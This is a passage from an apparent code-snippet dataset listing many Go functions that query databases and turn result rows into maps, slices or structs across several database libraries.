make(map[string]string, len(scanArgs))\n\n\tfor i := range values {\n\t\tscanArgs[i] = &values[i]\n\t}\n\n\tfor rows.Next() {\n\t\terr = rows.Scan(scanArgs...)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tvar value string\n\t\tret := make(map[string]string, len(scanArgs))\n\n\t\tfor i, col := range values {\n\t\t\tif col == nil {\n\t\t\t\tvalue = \"NULL\"\n\t\t\t} else {\n\t\t\t\tvalue = string(col)\n\t\t\t}\n\t\t\tret[columns[i]] = value\n\t\t}\n\n\t\tresult = append(result, ret)\n\n\t\t// break //get the first row only\n\t}\n\n\treturn\n}", "func (r *CampaignRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.ID, &r.Data.PopName, &r.Data.PopYear}\n}", "func (r *CampaignRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.ID, &r.Data.PopName, &r.Data.PopYear}\n}", "func (dbi *DB) SelectRows(nums int, sqls string, arg ...string) ([]map[string]string, error) {\r\n\tif dbi.status == false {\r\n\t\treturn nil, errors.New(\"database was not opened.\")\r\n\t}\r\n\r\n\trows, err := dbi.Cursor(sqls, arg...)\r\n\tif err != nil {\r\n\t\treturn nil, errors.New(\"Cannot open cursor for sql: \" + sqls)\r\n\t}\r\n\r\n\tvar resvar []map[string]string\r\n\tlimit := 0\r\n\tfor {\r\n\t\tcolvar, rowerr := rows.Next()\r\n\t\tif rowerr != nil {\r\n\t\t\trows.Close()\r\n\t\t\treturn nil, errors.New(\"Cannot fetch records for sql: \" + sqls)\r\n\t\t} else if colvar == nil && rowerr == nil {\r\n\t\t\t// no records found, lsnr had been release automatically\r\n\t\t\trows.status = false\r\n\t\t\tbreak\r\n\t\t}\r\n\r\n\t\tline := make(map[string]string)\r\n\t\tfor i := 0; i < len(rows.Cols); i++ {\r\n\t\t\tline[rows.Cols[i]] = colvar[i]\r\n\t\t}\r\n\t\tresvar = append(resvar, line)\r\n\t\tlimit++\r\n\t\tif nums > 0 && limit >= nums {\r\n\t\t\trows.Close()\r\n\t\t\tbreak\r\n\t\t}\r\n\t}\r\n\treturn resvar, nil\r\n}", "func (rs *CampaignRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(CampaignRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(CampaignRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (rs *CampaignRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(CampaignRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(CampaignRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (r *ProductRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.ID, &r.Data.Price, &r.Data.Name, &r.Data.Alias, &r.Data.Stocked, &r.Data.Sold}\n}", "func NewRows(rs *sql.Rows) (*Rows, error) {\n\tif nil == rs {\n\t\trs = new(sql.Rows)\n\t}\n\tdefer rs.Close()\n\n\tvar err error\n\tvar tmp map[string]string\n\n\tret := &Rows{}\n\tret.currentData = make(map[string]string)\n\tret.data = make([]map[string]string, 0)\n\tret.colnames, err = rs.Columns()\n\tif nil != err {\n\t\treturn nil, err\n\t}\n\n\tfor rs.Next() {\n\t\ttmp, err = fetchMap(rs)\n\t\tif nil != err {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tret.data = append(ret.data, tmp)\n\t\tret.dataLen++\n\t}\n\treturn ret, nil\n}", "func FetchRows(rows *sql.Rows, dst interface{}) error {\n\tvar columns []string\n\tvar err error\n\n\t// Destination.\n\tdstv := reflect.ValueOf(dst)\n\n\tif dstv.IsNil() || dstv.Kind() != reflect.Ptr {\n\t\treturn db.ErrExpectingPointer\n\t}\n\n\tif dstv.Elem().Kind() != reflect.Slice {\n\t\treturn db.ErrExpectingSlicePointer\n\t}\n\n\tif dstv.Kind() != reflect.Ptr || dstv.Elem().Kind() != reflect.Slice || dstv.IsNil() {\n\t\treturn db.ErrExpectingSliceMapStruct\n\t}\n\n\tif columns, err = rows.Columns(); err != nil {\n\t\treturn err\n\t}\n\n\tslicev := dstv.Elem()\n\titem_t := slicev.Type().Elem()\n\n\treset(dst)\n\n\tfor rows.Next() {\n\n\t\titem, err := fetchResult(item_t, rows, columns)\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tslicev = reflect.Append(slicev, reflect.Indirect(item))\n\t}\n\n\trows.Close()\n\n\tdstv.Elem().Set(slicev)\n\n\treturn nil\n}", "func (p *HbaseClient) GetRows(tableName Text, rows [][]byte, attributes map[string]Text) (r []*TRowResult_, err error) {\n\tif err = p.sendGetRows(tableName, rows, attributes); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetRows()\n}", "func (t *Table) GetNomsRowData(ctx context.Context) (types.Map, error) {\n\tidx, err := t.table.GetTableRows(ctx)\n\tif err != nil {\n\t\treturn types.Map{}, err\n\t}\n\n\treturn durable.NomsMapFromIndex(idx), nil\n}", "func getRowFromResult(\n\te *base.Definition, columnNames []string, columnVals []interface{},\n) []base.Column {\n\n\trow := make([]base.Column, 0, len(columnNames))\n\n\tfor i, columnName := range columnNames {\n\t\t// construct a list of column objects from the lists of column names\n\t\t// and values that were returned by the cassandra query\n\t\tcolumn := base.Column{\n\t\t\tName: columnName,\n\t\t}\n\n\t\tswitch rv := columnVals[i].(type) {\n\t\tcase **int:\n\t\t\tcolumn.Value = *rv\n\t\tcase **int64:\n\t\t\tcolumn.Value = *rv\n\t\tcase **string:\n\t\t\tcolumn.Value = *rv\n\t\tcase **gocql.UUID:\n\t\t\tcolumn.Value = *rv\n\t\tcase **time.Time:\n\t\t\tcolumn.Value = *rv\n\t\tcase **bool:\n\t\t\tcolumn.Value = *rv\n\t\tcase **[]byte:\n\t\t\tcolumn.Value = *rv\n\t\tdefault:\n\t\t\t// This should only happen if we start using a new cassandra type\n\t\t\t// without adding to the translation layer\n\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\"data\": columnVals[i],\n\t\t\t\t\"column\": columnName}).Infof(\"type not found\")\n\t\t}\n\t\trow = append(row, column)\n\t}\n\treturn row\n}", "func (dbi *DB) SelectRow(sqls string, arg ...string) (map[string]string, error) {\r\n\tif dbi.status == false {\r\n\t\treturn nil, errors.New(\"database was not opened.\")\r\n\t}\r\n\r\n\t// start select\r\n\tdbi.createOperation(\"DB_SELECT\")\r\n\tdbi.data.reqSql = sqls\r\n\tdbi.data.inVar = arg\r\n\t// data\r\n\tdbi.data.commPrepare()\r\n\t// communicate\r\n\tif dbi.data.comm() == false {\r\n\t\tmylog.Println(dbi.data.sqlCode, \":\", dbi.data.sqlErrm)\r\n\t\tdbi.Close()\r\n\t\treturn nil, errors.New(dbi.Sqlerrm)\r\n\t}\r\n\t// parse\r\n\tdbi.data.commParse()\r\n\tdbi.parseError()\r\n\tif dbi.Sqlcode != 0 {\r\n\t\treturn nil, errors.New(dbi.Sqlerrm)\r\n\t}\r\n\r\n\t// get column name list\r\n\tdbi.createOperation(\"DB_COLUMNS\")\r\n\t// data\r\n\tdbi.data.curId = -1\r\n\tdbi.data.commPrepare()\r\n\t// communicate\r\n\tif dbi.data.comm() == false {\r\n\t\tdbi.Close()\r\n\t\treturn nil, errors.New(dbi.Sqlerrm)\r\n\t}\r\n\t// parse\r\n\tdbi.data.commParse()\r\n\t// no need to change dbi.sqlcode\r\n\r\n\tcolvar := make(map[string]string)\r\n\tfor i := 0; i < len(dbi.data.colName); i++ {\r\n\t\tcolvar[strings.ToLower(dbi.data.colName[i])] = dbi.data.outVar[i]\r\n\t}\r\n\treturn colvar, nil\r\n}", "func readRows(db *sql.DB, query string, dataChan chan []sql.RawBytes, quitChan chan bool, goChan chan bool, csvHeader bool) {\n\trows, err := db.Query(query)\n\tdefer rows.Close()\n\tif err != nil {\n\t\tlog.Print(err)\n\t\tos.Exit(1)\n\t}\n\n\tcols, err := rows.Columns()\n\tcheckErr(err)\n\n\t// Write columns as a header line\n\tif csvHeader {\n\t\theaders := make([]sql.RawBytes, len(cols))\n\t\tfor i, col := range cols {\n\t\t\theaders[i] = []byte(col)\n\t\t}\n\t\tdataChan <- headers\n\t\t<-goChan\n\t}\n\n\t// Need to scan into empty interface since we don't know how many columns a query might return\n\tscanVals := make([]interface{}, len(cols))\n\tvals := make([]sql.RawBytes, len(cols))\n\tfor i := range vals {\n\t\tscanVals[i] = &vals[i]\n\t}\n\n\tfor rows.Next() {\n\t\terr := rows.Scan(scanVals...)\n\t\tcheckErr(err)\n\n\t\tdataChan <- vals\n\n\t\t// Block and wait for writeRows() to signal back it has consumed the data\n\t\t// This is necessary because sql.RawBytes is a memory pointer and when rows.Next()\n\t\t// loops and change the memory address before writeRows can properly process the values\n\t\t<-goChan\n\t}\n\n\terr = rows.Err()\n\tcheckErr(err)\n\n\tclose(dataChan)\n\tquitChan <- true\n}", "func (m *Message) getRows() Rows {\n\t// Read the column count and column names.\n\tcolumns := make([]string, m.getUint64())\n\n\tfor i := range columns {\n\t\tcolumns[i] = m.getString()\n\t}\n\n\trows := Rows{\n\t\tColumns: columns,\n\t\tmessage: m,\n\t}\n\treturn rows\n}", "func (r *PackageProductRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.PackageID, &r.Data.ProductID}\n}", "func (f *FakeTable) ReadRow(ovs *libovsdb.OvsdbClient, readRowArgs ovsdb.ReadRowArgs) (map[string]interface{}, error) {\n\tm := make(map[string]interface{})\n\treturn m, nil\n}", "func (dbi *DB) Select(sqls string, arg ...string) ([]map[string]string, error) {\r\n\tif dbi.status == false {\r\n\t\treturn nil, errors.New(\"database was not opened.\")\r\n\t}\r\n\r\n\trows, err := dbi.Cursor(sqls, arg...)\r\n\tif err != nil {\r\n\t\treturn nil, errors.New(\"Cannot open cursor for sql: \" + sqls)\r\n\t}\r\n\r\n\tvar resvar []map[string]string\r\n\tfor {\r\n\t\tcolvar, rowerr := rows.Next()\r\n\t\tif rowerr != nil {\r\n\t\t\trows.Close()\r\n\t\t\treturn nil, errors.New(\"Cannot fetch records for sql: \" + sqls)\r\n\t\t} else if colvar == nil && rowerr == nil {\r\n\t\t\t// no records found\r\n\t\t\trows.status = false\r\n\t\t\tbreak\r\n\t\t}\r\n\r\n\t\tline := make(map[string]string)\r\n\t\tfor i := 0; i < len(rows.Cols); i++ {\r\n\t\t\tline[rows.Cols[i]] = colvar[i]\r\n\t\t}\r\n\t\tresvar = append(resvar, line)\r\n\t}\r\n\treturn resvar, nil\r\n}", "func GetTableRows (\n stub shim.ChaincodeStubInterface,\n table_name string,\n row_keys []string,\n) (chan []byte, error) {\n state_query_iterator,err := stub.GetStateByPartialCompositeKey(table_name, row_keys)\n if err != nil {\n return nil, fmt.Errorf(\"GetTableRow failed because stub.CreateCompositeKey failed with error %v\", err)\n }\n\n row_json_bytes_channel := make(chan []byte, 32) // TODO: 32 is arbitrary; is there some other reasonable buffer size?\n\n go func(){\n for state_query_iterator.HasNext() {\n query_result_kv,err := state_query_iterator.Next()\n if err != nil {\n panic(\"this should never happen probably\")\n }\n row_json_bytes_channel <- query_result_kv.Value\n }\n close(row_json_bytes_channel)\n }()\n\n return row_json_bytes_channel, nil\n}", "func (ctx *TestContext) getRowMap(rowIndex int, table *messages.PickleStepArgument_PickleTable) map[string]string {\n\trowHeader := table.Rows[0]\n\tsourceRow := table.Rows[rowIndex]\n\n\trowMap := map[string]string{}\n\tfor i := 0; i < len(rowHeader.Cells); i++ {\n\t\tvalue := sourceRow.Cells[i].Value\n\t\tif value == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\trowMap[rowHeader.Cells[i].Value] = value\n\t}\n\n\treturn rowMap\n}", "func (r sqlCursor) Next() map[string]interface{} {\n\tvar err error\n\n\tif r.rows.Next() {\n\t\tif err = r.rows.Scan(r.columnValueReceivers...); err != nil {\n\t\t\tlog.Panic(err)\n\t\t}\n\n\t\tvalues := make(map[string]interface{}, len(r.columnReceivers))\n\t\tfor j, vr := range r.columnReceivers {\n\t\t\tvalues[r.columnNames[j]] = vr.Unpack(r.columnTypes[j])\n\t\t}\n\t\tif r.builder != nil {\n\t\t\tv2 := r.builder.unpackResult([]map[string]interface{}{values})\n\t\t\treturn v2[0]\n\t\t} else {\n\t\t\treturn values\n\t\t}\n\t} else {\n\t\tif err = r.rows.Err(); err != nil {\n\t\t\tlog.Panic(err)\n\t\t}\n\t\treturn nil\n\t}\n}", "func (m *PgSQL) SliceMap(sqlString string) ([]map[string]interface{}, error) {\n\trows, err := m.Connection.Query(sqlString)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcount := len(columns)\n\ttableData := make([]map[string]interface{}, 0)\n\tvalues := make([]interface{}, count)\n\tvaluePtrs := make([]interface{}, count)\n\tfor rows.Next() {\n\t\tfor i := 0; i < count; i++ {\n\t\t\tvaluePtrs[i] = &values[i]\n\t\t}\n\t\trows.Scan(valuePtrs...)\n\t\tentry := make(map[string]interface{})\n\t\tfor i, col := range columns {\n\t\t\tvar v interface{}\n\t\t\tval := values[i]\n\t\t\tb, ok := val.([]byte)\n\t\t\tif ok {\n\t\t\t\tv = string(b)\n\t\t\t} else {\n\t\t\t\tv = val\n\t\t\t}\n\t\t\tentry[col] = v\n\t\t}\n\t\ttableData = append(tableData, entry)\n\t}\n\treturn tableData, nil\n}", "func (t *Table) GetRowData(ctx context.Context) (types.Map, error) {\n\tval, _, err := t.tableStruct.MaybeGet(tableRowsKey)\n\n\tif err != nil {\n\t\treturn types.EmptyMap, err\n\t}\n\n\trowMapRef := val.(types.Ref)\n\n\tval, err = rowMapRef.TargetValue(ctx, t.vrw)\n\n\tif err != nil {\n\t\treturn types.EmptyMap, err\n\t}\n\n\trowMap := val.(types.Map)\n\treturn rowMap, nil\n}", "func ExecuteSelect(queryer db.Queryer, query string) ([]Row, error) {\n\trows, err := queryer.Query(query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\tcols, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar results []Row\n\tfor rows.Next() {\n\t\t// Create a slice of interface{}'s to represent each column,\n\t\t// and a second slice to contain pointers to each item in the columns slice.\n\t\tcolumns := make([]interface{}, len(cols))\n\t\tcolumnPointers := make([]interface{}, len(cols))\n\t\tfor i := range columns {\n\t\t\tcolumnPointers[i] = &columns[i]\n\t\t}\n\n\t\t// Scan the result into the column pointers...\n\t\tif err := rows.Scan(columnPointers...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Create our map, and retrieve the value for each column from the pointers slice,\n\t\t// storing it in the map with the name of the column as the key.\n\t\tm := make(map[string]interface{})\n\t\tfor i, colName := range cols {\n\t\t\tval := columnPointers[i].(*interface{})\n\t\t\tm[colName] = *val\n\t\t}\n\t\tresults = append(results, Row(m))\n\t}\n\tif err := rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn results, nil\n}", "func (p *HbaseClient) GetRowsTs(tableName Text, rows [][]byte, timestamp int64, attributes map[string]Text) (r []*TRowResult_, err error) {\n\tif err = p.sendGetRowsTs(tableName, rows, timestamp, attributes); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetRowsTs()\n}", "func queryRows(db *sql.DB) {\n\t// Set the command to execute\n\tvar sql = `\n\t\tselect id, first_name, last_name\n\t\tfrom ` + dbname + `.DemoTable;\n\t`\n\n\t// Get row results\n\tvar rows, rowErr = db.Query(sql)\n\tif rowErr != nil {\n\t\tfmt.Println(rowErr)\n\t\treturn\n\t}\n\tdefer rows.Close()\n\n\t// Iterate over the rowset and output the demo table columns\n\tfor rows.Next() {\n\t\tvar id int\n\t\tvar fname string\n\t\tvar lname string\n\t\tif err := rows.Scan(&id, &fname, &lname); err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t\tfmt.Printf(\"id: %d, fname: %s, lname: %s\\n\", id, fname, lname)\n\t}\n}", "func DecodeRows(response *Message) (rows Rows, err error) {\n\tmtype, _ := response.getHeader()\n\n\tif mtype == bindings.ResponseFailure {\n\t\te := ErrRequest{}\n\t\te.Code = response.getUint64()\n\t\te.Description = response.getString()\n err = e\n return\n\t}\n\n\tif mtype != bindings.ResponseRows {\n\t\terr = fmt.Errorf(\"unexpected response type %d\", mtype)\n return\n\t}\n\n\trows = response.getRows()\n\n\treturn\n}", "func (dbi *DB) SelectMap(sqls string, arg ...string) (map[string]string, error) {\r\n\tif dbi.status == false {\r\n\t\treturn nil, errors.New(\"database was not opened.\")\r\n\t}\r\n\r\n\trows, err := dbi.Cursor(sqls, arg...)\r\n\tif err != nil {\r\n\t\treturn nil, errors.New(\"Cannot open cursor for sql: \" + sqls)\r\n\t}\r\n\r\n\tif len(rows.Cols) != 2 {\r\n\t\trows.Close()\r\n\t\treturn nil, errors.New(\"Error: only two columns allowed.\")\r\n\t}\r\n\r\n\tresvar := make(map[string]string)\r\n\tfor {\r\n\t\tcolvar, rowerr := rows.Next()\r\n\t\tif rowerr != nil {\r\n\t\t\trows.Close()\r\n\t\t\treturn nil, errors.New(\"Cannot fetch records for sql: \" + sqls)\r\n\t\t} else if colvar == nil && rowerr == nil {\r\n\t\t\t// no records found\r\n\t\t\trows.status = false\r\n\t\t\tbreak\r\n\t\t}\r\n\r\n\t\tresvar[colvar[0]] = colvar[1]\r\n\t}\r\n\treturn resvar, nil\r\n}", "func (c *Conn) Query(query string) ([]map[string]interface{}, error) {\n\tres := make([]map[string]interface{}, 0)\n\trows, err := c.GetConnection().Query(query)\n\tif err != nil {\n\t\treturn res, err\n\t}\n\tdefer rows.Close()\n\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\trows.Close()\n\t\treturn res, err\n\t}\n\tvalues := make([]sql.RawBytes, len(columns))\n\tscanArgs := make([]interface{}, len(values))\n\tfor i := range values {\n\t\tscanArgs[i] = &values[i]\n\t}\n\n\tfor rows.Next() {\n\t\trows.Scan(scanArgs...)\n\t\tv := make(map[string]interface{})\n\t\tvar value interface{}\n\t\tfor i, col := range values {\n\t\t\tif col == nil {\n\t\t\t\tvalue = \"\"\n\t\t\t} else {\n\t\t\t\tvalue = string(col)\n\t\t\t}\n\t\t\tv[columns[i]] = value\n\t\t}\n\t\tres = append(res, v)\n\t}\n\tif err = rows.Err(); err != nil {\n\t\trows.Close()\n\t\treturn res, err\n\t}\n\treturn res, nil\n}", "func receive(q Queryer, rows *sql.Rows) ([]Queryer, error) {\n\tvar queryers []Queryer\n\tfor rows.Next() {\n\t\tqNew := q\n\t\tvalue := reflect.ValueOf(q)\n\t\tbaseType := reflect.TypeOf(value.Interface())\n\t\ttmp := reflect.New(baseType)\n\t\tptrValue := tmp.Elem()\n\t\tres := []interface{}{}\n\t\tfor i := 0; i < value.NumField(); i++ {\n\t\t\ttmp := value.Field(i).Interface()\n\t\t\tres = append(res, &tmp)\n\t\t}\n\t\tif err := rows.Scan(res...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor i := 0; i < value.NumField(); i++ {\n\t\t\tunderlyingValue := reflect.ValueOf(res[i]).Elem()\n\t\t\tswitch v := underlyingValue.Interface().(type) {\n\t\t\tcase string:\n\t\t\t\tptrValue.Field(i).SetString(string(v))\n\t\t\t\tbreak\n\t\t\tcase []byte:\n\t\t\t\tptrValue.Field(i).SetString(string(v))\n\t\t\t\tbreak\n\t\t\tcase int64:\n\t\t\t\tptrValue.Field(i).SetInt(int64(v))\n\t\t\t\tbreak\n\t\t\tcase nil:\n\t\t\t\tbreak\n\t\t\tdefault:\n\t\t\t\treturn nil, fmt.Errorf(\"Failed to fetch value from database: %v\", underlyingValue.Interface())\n\t\t\t}\n\t\t}\n\t\tqNew = ptrValue.Interface().(Queryer)\n\t\tqueryers = append(queryers, qNew)\n\t}\n\treturn queryers, nil\n}", "func RowToArr(rows *sql.Rows) (records [][]string, err error) {\n\tfmt.Printf(\"RowToArr start at %s\", time.Now())\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn\n\t}\n\tcount := len(columns)\n\treadCols := make([]interface{}, count)\n\trawCols := make([]interface{}, count)\n\t//records = make([]interface{}, 0)\n\trecords = append(records, columns) //append row header as 1st row\n\n\t// var resultCols []string\n\tfor rows.Next() {\n\t\t// resultCols = make([]string, count)\n\t\tfor i := range columns {\n\t\t\treadCols[i] = &rawCols[i]\n\t\t}\n\t\terr = rows.Scan(readCols...)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tresultCols := assertTypeArray(columns, rawCols)\n\t\trecords = append(records, resultCols)\n\t}\n\n\tfmt.Printf(\"RowToArr end at %s\", time.Now())\n\treturn records, nil\n}", "func GetRows() (*sql.Rows, error) {\n\tvar dsn string\n\t// init database connection\n\tif Cfg.Socket != \"\" {\n\t\tdsn = fmt.Sprintf(\"%s:%s@unix(%s)/%s?charset=%s\",\n\t\t\tCfg.User, Cfg.Password, Cfg.Socket, Cfg.Database, Cfg.Charset)\n\t} else {\n\t\tdsn = fmt.Sprintf(\"%s:%s@tcp(%s:%s)/%s?charset=%s\",\n\t\t\tCfg.User, Cfg.Password, Cfg.Host, Cfg.Port, Cfg.Database, Cfg.Charset)\n\t}\n\tdb, err := sql.Open(\"mysql\", dsn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.Close()\n\n\treturn db.Query(Cfg.Query)\n}", "func processRows(w http.ResponseWriter, rows *sql.Rows) {\n\tvar vorname string\n\tvar message string\n\n\tfor rows.Next() {\n\t\terr := rows.Scan(&vorname, &message)\n\t\tcheckErr(err)\n\n\t\tfmt.Fprintf(w, \"Nachricht von: %s, Nachricht: %s\\n\", string(vorname), string(message))\n\t}\n\n\tfmt.Println(\"Nachrichten wurden widergegeben!!\")\n}", "func CollectRows[T any](rows Rows, fn RowToFunc[T]) ([]T, error) {\n\tdefer rows.Close()\n\n\tslice := []T{}\n\n\tfor rows.Next() {\n\t\tvalue, err := fn(rows)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tslice = append(slice, value)\n\t}\n\n\tif err := rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn slice, nil\n}", "func (t *Table) GetRows(ctx context.Context, pkItr PKItr, numPKs int, sch schema.Schema) (rows []row.Row, missing []types.Value, err error) {\n\tif numPKs < 0 {\n\t\tnumPKs = 0\n\t}\n\n\trows = make([]row.Row, 0, numPKs)\n\tmissing = make([]types.Value, 0, numPKs)\n\n\trowMap, err := t.GetRowData(ctx)\n\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tfor pk, ok, err := pkItr(); ok; pk, ok, err = pkItr() {\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tfieldsVal, _, err := rowMap.MaybeGet(ctx, pk)\n\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tif fieldsVal == nil {\n\t\t\tmissing = append(missing, pk)\n\t\t} else {\n\t\t\tr, err := row.FromNoms(sch, pk, fieldsVal.(types.Tuple))\n\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\n\t\t\trows = append(rows, r)\n\t\t}\n\t}\n\n\treturn rows, missing, nil\n}", "func RowsToQueryResults(rows *sql.Rows, coldefs []database.Column) (QueryResults, error) {\n\tcols := database.Columns(coldefs).Names()\n\tres := []RowData{}\n\tfor rows.Next() {\n\t\tcolumns := make([]interface{}, len(cols))\n\t\tcolumnPointers := make([]interface{}, len(cols))\n\t\tfor i := range columns {\n\t\t\tcolumnPointers[i] = &columns[i]\n\t\t}\n\t\t// Scan the result into the column pointers...\n\t\tif err := rows.Scan(columnPointers...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\trowData := makeRowDataSet(coldefs)\n\t\tfor i, colName := range cols {\n\t\t\tval := columnPointers[i].(*interface{})\n\t\t\trowData[colName] = ColData{Data: val, DataType: rowData[colName].DataType}\n\t\t}\n\n\t\tres = append(res, rowData)\n\t}\n\n\treturn res, nil\n}", "func (conn *Conn) Select(dataSet map[int][]string) (map[int][]string, error) {\n\tdb := conn.db\n\tresult := make(map[int][]string)\n\n\tfor userid, emails := range dataSet {\n\t\ttableName := \"unsub_\" + strconv.Itoa(modId(userid))\n\t\t//sqlStr := \"SELECT email FROM \" + tableName + \" WHERE user_id = ? and email = ?\"\n\t\tsqlStr := fmt.Sprintf(\"SELECT email FROM %s WHERE user_id = ? and email IN (%s)\",\n\t\t\ttableName,\n\t\t\tfmt.Sprintf(\"?\"+strings.Repeat(\",?\", len(emails)-1)))\n\t\targs := make([]interface{}, len(emails)+1)\n\t\targs[0] = userid\n\t\tfor i, email := range emails {\n\t\t\targs[i+1] = email\n\t\t}\n\t\trows, err := db.Query(sqlStr, args...)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error querying db: %v\\n\", err)\n\t\t\treturn result, err\n\t\t}\n\t\tvar email string\n\t\tfor rows.Next() {\n\t\t\terr = rows.Scan(&email)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error scanning row: %v\\n\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tresult[userid] = append(result[userid], email)\n\t\t}\n\t\tdefer rows.Close()\n\t\t/*\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error preparing statement\", err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tfor e := range emails {\n\t\t\t\tvar user_id int\n\t\t\t\tvar email string\n\n\t\t\t\terr = stmt.QueryRow(userid, emails[e]).Scan(&user_id, &email)\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err == sql.ErrNoRows {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog.Printf(\"Error querying row\", err)\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tresult[user_id] = append(result[user_id], email)\n\t\t\t}\n\t\t*/\n\t}\n\treturn result, nil\n}", "func (rows *Rows) ToMap() ([]map[string]interface{}, error) {\n\n\tcolumns, err := rows.Rows.Columns()\n\tif err != nil {\n\t\treturn nil,err\n\t}\n\n\tvalues := make([]interface{}, len(columns))\n\tfor i := range values {\n\t\tvalues[i] = new(interface{})\n\t}\n\n\trowMaps := make([]map[string]interface{}, 0)\n\n\tfor rows.Rows.Next() {\n\t\terr = rows.Rows.Scan(values...)\n\t\tif err != nil {\n\t\t\treturn nil,err\n\t\t}\n\n\t\tcurrRow := make(map[string]interface{})\n\t\tfor i, name := range columns {\n\t\t\tcurrRow[name] = *(values[i].(*interface{}))\n\t\t}\n\t\t// accumulating rowMaps is the easy way out\n\t\trowMaps = append(rowMaps, currRow)\n\t}\n\n\treturn rowMaps,nil\n}", "func (p *HbaseClient) GetRowsWithColumnsTs(tableName Text, rows [][]byte, columns [][]byte, timestamp int64, attributes map[string]Text) (r []*TRowResult_, err error) {\n\tif err = p.sendGetRowsWithColumnsTs(tableName, rows, columns, timestamp, attributes); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetRowsWithColumnsTs()\n}", "func (store *Db2Store) GetData(sqlStr string, getResults bool) (map[string]interface{}, error) {\n\tstmt, err := store.Db.Prepare(sqlStr)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\treturn nil, err\n\t}\n\tdefer stmt.Close()\n\trows, err := stmt.Query()\n\tif err != nil {\n\t\tlog.Fatal(\"Error while running \", sqlStr, err)\n\t\treturn nil, err\n\t}\n\t// if no result expected just return nil\n\tif !getResults {\n\t\tdefer rows.Close()\n\t\treturn nil, nil\n\t}\n\n\tm, err := getMapFromRows(rows)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\treturn m, nil\n}", "func (tbl *Table) GetRowByColumns(colNameToValue map[string]interface{}) map[string]interface{} {\n\t//TODO exception handling\n\n\tfor _, row := range tbl.bodyRows {\n\t\tcntMatched := 0\n\t\tfor i := range row {\n\t\t\tcolName := tbl.colNames[i]\n\t\t\tval, ok := colNameToValue[colName]\n\t\t\tif ok {\n\t\t\t\tif !reflect.DeepEqual(val, row[i]) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tcntMatched++\n\t\t\t}\n\t\t}\n\n\t\tif cntMatched == len(colNameToValue) {\n\t\t\trowMatched := make(map[string]interface{})\n\t\t\tfor i, val := range row {\n\t\t\t\trowMatched[tbl.colNames[i]] = val\n\t\t\t}\n\n\t\t\treturn rowMatched\n\t\t}\n\t}\n\n\treturn nil\n}", "func QueryStrings(db *sql.DB, query string) (chan map[string]string, []string) {\n\trowChan := make(chan map[string]string)\n\n\trows, err := db.Query(query)\n\tcheck(\"running query\", err)\n\tcolumnNames, err := rows.Columns()\n\tcheck(\"getting column names\", err)\n\n\tgo func() {\n\n\t\tdefer rows.Close()\n\n\t\tvals := make([]interface{}, len(columnNames))\n\t\tvalPointers := make([]interface{}, len(columnNames))\n\t\t// Copy\n\t\tfor i := 0; i < len(columnNames); i++ {\n\t\t\tvalPointers[i] = &vals[i]\n\t\t}\n\n\t\tfor rows.Next() {\n\t\t\terr = rows.Scan(valPointers...)\n\t\t\tcheck(\"scanning a row\", err)\n\n\t\t\trow := make(map[string]string)\n\t\t\t// Convert each cell to a SQL-valid string representation\n\t\t\tfor i, valPtr := range vals {\n\t\t\t\t//fmt.Println(reflect.TypeOf(valPtr))\n\t\t\t\tswitch valueType := valPtr.(type) {\n\t\t\t\tcase nil:\n\t\t\t\t\trow[columnNames[i]] = \"null\"\n\t\t\t\tcase 